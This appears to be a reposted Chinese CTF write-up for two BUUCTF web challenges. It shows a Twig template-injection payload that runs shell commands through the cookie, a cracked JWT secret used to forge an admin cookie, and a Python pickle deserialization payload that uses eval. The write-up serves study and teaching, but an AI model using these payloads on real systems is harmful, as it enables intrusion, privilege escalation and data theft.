buuoj_python


[BJDCTF2020]Cookie is so stable

這是一道模板注入題,模板注入題流程圖(搬運來的)

 

首先在 /flag.php 這頁測試,測試結果是Twig

Twig 
{{7*'7'}}  #輸出49
Jinja
{{7*'7'}}  #輸出7777777

 

因為hint.php源碼可以看到有關 cookie 的提示,抓包看一下cookie和注入點的關系

 

登錄進去之后抓包,發現 cookie 里面 user 是注入點

 

直接拿 ssti 注入這篇文章(鏈接在最后)的 payload 打

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

把 id 換成 cat /flag 可以直接得到 flag

 

參考:

https://shawroot.hatenablog.com/entry/2020/01/29/BJDCTF2020/BUUCTF-WEB%3ACookie_is_so_stable%EF%BC%88Twig%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%EF%BC%89

https://zhuanlan.zhihu.com/p/28823933

 

[CISCN2019 華北賽區 Day1 Web2]ikun

知識點:邏輯漏洞、jwt密鑰破解、python反序列化漏洞

進入靶機查看源碼:

 

提示需要買到lv6,注冊賬號發現給了1000塊錢,根據ctf套路應該是用很低的價格買很貴的lv6,首頁翻了幾頁都沒發現lv6,寫腳本找:

import requests

url = "http://76267771-2542-4ee4-a22f-d01b144fa6c5.node3.buuoj.cn/shop?page={}"
for i in range(10,1000): url1=url.format(i) r=requests.get(url1) if "lv6.png" in r.text: print("我找到了lv6了 %d"%i) break; else: print(url1)

跑出結果是lv6在181頁,而且很貴買不起

 

看一下源碼,發現是可以直接改折扣和價格的,但是價格修改后支付失敗,但是可以把折扣改的很低很低比如0.000000000000000000001

 

購買成功后發現頁面只允許admin訪問

 

但是我們不是管理員,那么需要獲得管理員的cookie,查看一下當前頁面的cookie發現有一欄叫做jwt

 

可以去jwt.io這個網站去驗證一下這個jwt

 

若要獲得管理員的jwt,需要先把username改為admin然后破解your-256-bit-secret密鑰,這樣jwt.io就會返回正確的管理員的jwt-cookie

這里就需要破解jwt秘鑰的軟件https://github.com/brendan-rius/c-jwt-cracker

 

安裝步驟是先clone破解軟件

git clone https://github.com/brendan-rius/c-jwt-cracker.git

再進入文件夾,最后make編譯

 

然后開始破解工作,雙引號內是jwt,破解出密碼為1Kun

 

這個時候在jwt.io把username改為admin然后密鑰處填上1Kun,左側返回正確的管理員的jwt-cookie

 

利用editcookie插件add cookie(應該直接修改jwt就可以,但是插件不太好用,add才可以)刷新后頁面改變

 

查看源碼發現提示,可以下載源碼

 

審計之后找到了一個python反序列化的地方,在 Admin.py

 

post這個函數里,首先get_argument是一個框架的內置函數用來獲取變量

become = self.get_argument('become')

然后urllib.unquote把字典形式的參數進行url編碼,然后pickle.loads對應pickle.dumps,相當於反序列化和序列化

p = pickle.loads(urllib.unquote(become))

 

測試一下pickle.dumps產生的序列化大概是個什么樣子(由於這個站本身是python2.x的站,所以代碼最后也要按照python2.x 的方式來運行)

import pickle
d1 = dict(name='phoebe',age='19') print(pickle.dumps(d1))

 

是一個二進制的文件流,多用來寫文件,然后再來了解一下python的魔術方法_reduce_,當定義擴展類型時(也就是使用Python的C語言API實現的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。

_reduce_ 被定義之后,當對象被Pickle時就會被調用。那么腳本如下:

import pickle
import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print a

 

(主要還是這行代碼:return (eval, ("open('/flag.txt','r').read()",))

reduce它要么返回一個代表全局名稱的字符串,Pyhton會查找它並pickle,要么返回一個元組。這個元組包含2到5個元素,

其中包括:

一個可調用的對象,用於重建對象時調用;

一個參數元素,供那個可調用對象使用;

被傳遞給 setstate 的狀態(可選);

一個產生被pickle的列表元素的迭代器(可選);

一個產生被pickle的字典元素的迭代器(可選)。

我們要返回的是flag.txt的字節流,所以我們需要返回一個元組,這個元組包含兩個必選的參數,第一個可調用的對象,我們這里用的eval,第二個參數,我們使用的是open(’/flag.txt’,‘r’).read())

點擊一鍵成為大會員抓包修改become值,得到flag

 

參考:http://github.mrkaixin.computer/2019/06/05/BUUCTF%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/#toc-heading-10

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM